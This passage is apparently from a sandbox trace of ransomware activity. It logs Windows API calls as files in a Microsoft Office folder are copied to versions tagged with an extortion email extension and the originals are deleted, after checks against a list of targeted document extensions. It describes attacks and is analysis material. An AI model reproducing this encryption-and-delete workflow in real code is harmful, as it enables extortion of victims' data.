office\\office14\\1033\\outllibr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString=".doc") returned 4 [0104.777] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString=".docx") returned 5 [0104.777] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0104.777] lstrlenW (lpString=".pdf") returned 4 [0104.777] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString=".xls") returned 4 [0104.777] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString=".xlsx") returned 5 [0104.777] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0104.777] lstrlenW (lpString=".ppt") returned 4 [0104.777] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString=".zip") returned 4 [0104.777] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString=".rar") returned 4 [0104.777] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString=".bz2") returned 4 [0104.777] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0104.777] lstrlenW (lpString=".7z") returned 3 [0104.777] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString=".dbf") returned 4 [0104.777] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString=".1cd") returned 4 [0104.777] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString=".jpg") returned 4 [0104.777] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.777] lstrlenW (lpString=".doc") returned 4 [0104.777] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0104.778] lstrlenW (lpString=".docx") returned 5 [0104.778] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0104.778] lstrlenW (lpString=".pdf") returned 4 [0104.778] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0104.778] lstrlenW (lpString=".xls") returned 4 [0104.778] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0104.778] lstrlenW (lpString=".xlsx") returned 5 [0104.778] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0104.778] lstrlenW (lpString=".ppt") returned 4 [0104.778] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0104.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.778] lstrlenW (lpString=".zip") returned 4 [0104.778] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0104.778] lstrlenW (lpString=".rar") returned 4 [0104.778] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0104.778] lstrlenW (lpString=".bz2") returned 4 [0104.778] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0104.778] lstrlenW (lpString=".7z") returned 3 [0104.778] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.778] lstrlenW (lpString=".dbf") returned 4 [0104.778] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0104.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.778] lstrlenW (lpString=".1cd") returned 4 [0104.778] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0104.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0104.778] lstrlenW (lpString=".jpg") returned 4 [0104.778] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0104.778] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0104.778] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0104.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0104.779] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=290688) returned 1 [0104.779] CloseHandle (hObject=0x188) returned 1 [0104.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 0x20 [0104.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0104.780] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.780] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.780] GetLastError () returned 0x0 [0104.780] ReadFile (in: hFile=0x188, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x46f80, lpOverlapped=0x0) returned 1 [0104.793] WriteFile (in: hFile=0x364, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x46f90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x46f90, lpOverlapped=0x0) returned 1 [0104.797] ReadFile (in: hFile=0x188, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.798] WriteFile (in: hFile=0x364, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0104.798] SetEndOfFile (hFile=0x364) returned 1 [0104.798] CloseHandle (hObject=0x364) returned 1 [0104.798] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.798] SetEndOfFile (hFile=0x188) returned 1 [0104.803] CloseHandle (hObject=0x188) returned 1 [0104.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 1 [0104.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.804] lstrlenW (lpString=".doc") returned 4 [0104.804] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.804] lstrlenW (lpString=".docx") returned 5 [0104.805] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.805] lstrlenW (lpString=".pdf") returned 4 [0104.805] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".xls") returned 4 [0104.805] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".xlsx") returned 5 [0104.805] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.805] lstrlenW (lpString=".ppt") returned 4 [0104.805] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString=".zip") returned 4 [0104.805] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".rar") returned 4 [0104.805] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".bz2") returned 4 [0104.805] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".7z") returned 3 [0104.805] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString=".dbf") returned 4 [0104.805] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString=".1cd") returned 4 [0104.805] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString=".jpg") returned 4 [0104.805] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString=".doc") returned 4 [0104.805] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".docx") returned 5 [0104.805] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.805] lstrlenW (lpString=".pdf") returned 4 [0104.805] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".xls") returned 4 [0104.805] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString=".xlsx") returned 5 [0104.805] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.805] lstrlenW (lpString=".ppt") returned 4 [0104.805] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0104.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.805] lstrlenW (lpString=".zip") returned 4 [0104.805] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0104.806] lstrlenW (lpString=".rar") returned 4 [0104.806] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0104.806] lstrlenW (lpString=".bz2") returned 4 [0104.806] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0104.806] lstrlenW (lpString=".7z") returned 3 [0104.806] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.806] lstrlenW (lpString=".dbf") returned 4 [0104.806] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0104.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.806] lstrlenW (lpString=".1cd") returned 4 [0104.806] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0104.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0104.806] lstrlenW (lpString=".jpg") returned 4 [0104.806] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0104.806] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0104.806] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0104.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0104.806] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=6988760) returned 1 [0104.806] CloseHandle (hObject=0x188) returned 1 [0104.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs")) returned 0x20 [0104.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0104.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.807] lstrlenW (lpString=".doc") returned 4 [0104.807] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0104.807] lstrlenW (lpString=".docx") returned 5 [0104.807] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0104.807] lstrlenW (lpString=".pdf") returned 4 [0104.807] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0104.807] lstrlenW (lpString=".xls") returned 4 [0104.807] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0104.807] lstrlenW (lpString=".xlsx") returned 5 [0104.807] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0104.807] lstrlenW (lpString=".ppt") returned 4 [0104.807] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0104.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.807] lstrlenW (lpString=".zip") returned 4 [0104.807] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0104.807] lstrlenW (lpString=".rar") returned 4 [0104.807] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0104.807] lstrlenW (lpString=".bz2") returned 4 [0104.807] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0104.807] lstrlenW (lpString=".7z") returned 3 [0104.807] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0104.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.807] lstrlenW (lpString=".dbf") returned 4 [0104.807] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0104.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.807] lstrlenW (lpString=".1cd") returned 4 [0104.807] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0104.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.807] lstrlenW (lpString=".jpg") returned 4 [0104.807] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0104.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.808] lstrlenW (lpString=".doc") returned 4 [0104.808] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0104.808] lstrlenW (lpString=".docx") returned 5 [0104.808] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0104.808] lstrlenW (lpString=".pdf") returned 4 [0104.808] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0104.808] lstrlenW (lpString=".xls") returned 4 [0104.808] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0104.808] lstrlenW (lpString=".xlsx") returned 5 [0104.808] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0104.808] lstrlenW (lpString=".ppt") returned 4 [0104.808] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0104.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.808] lstrlenW (lpString=".zip") returned 4 [0104.808] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0104.808] lstrlenW (lpString=".rar") returned 4 [0104.808] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0104.808] lstrlenW (lpString=".bz2") returned 4 [0104.808] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0104.808] lstrlenW (lpString=".7z") returned 3 [0104.808] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0104.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.808] lstrlenW (lpString=".dbf") returned 4 [0104.808] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0104.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.808] lstrlenW (lpString=".1cd") returned 4 [0104.808] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0104.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0104.808] lstrlenW (lpString=".jpg") returned 4 [0104.808] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0104.808] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0104.808] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0104.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0104.809] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=651) returned 1 [0104.809] CloseHandle (hObject=0x188) returned 1 [0104.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 0x20 [0104.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0104.809] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.809] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.810] GetLastError () returned 0x0 [0104.810] ReadFile (in: hFile=0x188, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x28b, lpOverlapped=0x0) returned 1 [0104.824] WriteFile (in: hFile=0x364, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x290, lpOverlapped=0x0) returned 1 [0104.825] ReadFile (in: hFile=0x188, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.825] WriteFile (in: hFile=0x364, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0104.825] SetEndOfFile (hFile=0x364) returned 1 [0104.991] CloseHandle (hObject=0x364) returned 1 [0104.991] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.991] SetEndOfFile (hFile=0x188) returned 1 [0104.993] CloseHandle (hObject=0x188) returned 1 [0104.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 1 [0105.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.136] lstrlenW (lpString=".doc") returned 4 [0105.136] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.136] lstrlenW (lpString=".docx") returned 5 [0105.136] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.145] lstrlenW (lpString=".pdf") returned 4 [0105.145] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.145] lstrlenW (lpString=".xls") returned 4 [0105.145] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.145] lstrlenW (lpString=".xlsx") returned 5 [0105.145] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.145] lstrlenW (lpString=".ppt") returned 4 [0105.145] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.145] lstrlenW (lpString=".zip") returned 4 [0105.145] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.145] lstrlenW (lpString=".rar") returned 4 [0105.145] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.145] lstrlenW (lpString=".bz2") returned 4 [0105.145] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.145] lstrlenW (lpString=".7z") returned 3 [0105.145] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.145] lstrlenW (lpString=".dbf") returned 4 [0105.145] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.145] lstrlenW (lpString=".1cd") returned 4 [0105.145] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.145] lstrlenW (lpString=".jpg") returned 4 [0105.145] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0105.145] lstrlenW (lpString=".doc") returned 4 [0105.145] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.145] lstrlenW (lpString=".docx") returned 5 